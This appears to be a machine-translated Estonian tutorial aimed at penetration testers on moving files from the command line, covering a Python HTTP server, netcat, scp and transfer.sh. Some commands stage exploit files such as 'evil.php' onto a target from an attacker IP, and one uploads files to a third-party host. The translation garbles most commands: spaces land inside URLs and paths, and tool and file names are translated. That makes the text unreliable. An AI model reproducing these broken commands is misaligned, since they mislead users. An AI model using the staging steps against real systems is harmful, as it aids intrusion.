Terminalipeatused

Kuidas faile terminalist käsurea abil üle kanda

Kuidas faile terminalist käsurea abil üle kanda

Tungimistestimise käigus on sageli vaja ära kasutada ekspluate, pythoni skripte ja mooduleid. Kuna terminal on enamasti kasutatav tööriist, on see oluline failiedastuse põhitõdede mõistmiseks.

Pliiatsi tester peaks olema hästi varustatud erinevate nippidega, et faile kaugserverist ja ühest kataloogist teise teisaldada. Selles õpetuses käsitleme erinevaid viise failide edastamiseks käsurea abil.

1. Pythoni server

Python on põhipakett, mis on eelinstallitud peaaegu kõikidesse Debiani põhistesse süsteemidesse. Faili ühest masinast teise teisaldamiseks tehke järgmist;

Python2:

Lülitage kataloogi, kus teie fail, mille soovite teisaldada, olemas. Käivitage lihtne pythoni server. Sisestage järgmine käsk;

$ python -m SimpleHTTPServer 8080

Nüüd minge masinasse, kuhu soovite faili edastada. Faili allalaadimiseks kasutage järgmist käsku;

$ wget http: // 192.168.43.177: 8080 / fail

Ärge unustage faili IP-d, pordi numbrit ja nime asendada.

Python3:

Kõik, mis on kirjutatud python2-s, puruneb peaaegu alati python3-s. Nii uurime ka seda, kuidas faili python3 abil teisaldada.

Python3 puhul sisestage lihtsa pythoni serveri käivitamiseks järgmine käsk.

$ python3 -m http.server 8080

Faili allalaadimiseks sihtmärgile sisestage järgmine käsk;

$ wget http: // 192.168.43.177: 8080 / ära kasutada.php

Python3 failiedastus

2. Netcat

Netcat on võimas utiliit failide ülekandmiseks igast kaugmasinast kohalikku masinasse. Seda ei pruugi alati installida. Sisestades saate kontrollida, kas see on olemas või mitte;

$ mis netcat
Teise võimalusena sisestades;
$ mis nc

Tehke netcati server järgmise käsuga;

$ nc -nlvp 8080 < evil.php

Nüüd minge sihtmasinasse ja sisestage faili allalaadimiseks järgmine;

$ nc -nv 192.168.43.177 8080> kuri.php

Netcati failiedastus

Asenda nc koos netkass ülaltoodud käskudes, kui nc ei tööta või pole õigesti installitud.

3. SCP

Turvalise kopeerimise protokoll on võimas tööriist failide edastamiseks. See on eriti kasulik, kui soovite katalooge teisaldada. Seda kasutatakse enamasti ka failide edastamiseks ssh-i kaudu.

Faili edastamiseks ssh kaudu sisestage saatmismasinas järgmine käsk;

$ scp -i uus.pem test.py ubuntu @ 18.220.68.229: / home / ubuntu
Kus -i tähistab avalikku võtit ssh-i sisselogimiseks, test.py on ülekantav fail ja / home / ubuntu on sihtkataloog, kuhu soovime faili salvestada.

SCP-failide kaugedastus

Faili allalaadimiseks kaugarvutist sisestage järgmine käsk;

$ scp juur @ 192.168.43.177: / kaugkataloog / fail / kohalik / kataloog

SCP kohaliku faili allalaadimine

4. Ülekanne.sh

Selle kolmanda osapoole tööriista abil saate faile edastada. See võib olla kasulik, kui teil pole avaliku IP-ga masinat ja peate ikkagi failid üle kandma. Järgmine käsk laadib faili ülekandesse.sh serverid;

$ curl --upload-file ./ fail.txt https: // ülekanne.sh / fail.txt

Faili allalaadimiseks sisestage järgmine käsk;

$ curl https: // ülekanne.sh // fail.txt -o fail.txt

Ülekanne.sh on veel väljatöötamisel ja ei pruugi alati töötada.

Järeldus

Käsurea tööriistad võimaldavad meil faile mitmel viisil edastada. Need võivad tunduda veidi keerulised, kuid nende kasutuselevõtt võimaldab faile hõlpsalt hallata, eriti kui GUI-valikut pole saadaval.

Installige uusim OpenRA strateegiamäng Ubuntu Linuxi
OpenRA on tasuta / tasuta reaalajas strateegiamängumootor, mis loob uuesti Westwoodi varased mängud nagu klassikaline Command & Conquer: Red Alert. Ja...
Installige Linuxile uusim Dolphin Emulator for Gamecube & Wii
Dolphini emulaator võimaldab teil mängida valitud Gamecube & Wii mänge Linuxi personaalarvutites (PC). Vabalt saadaval oleva ja avatud lähtekoodiga m...
Kuidas kasutada GameConquerori petumootorit Linuxis
Artikkel sisaldab juhendit GameConquerori petumootori kasutamise kohta Linuxis. Paljud kasutajad, kes mängivad Windowsis mänge, kasutavad rakendust „C...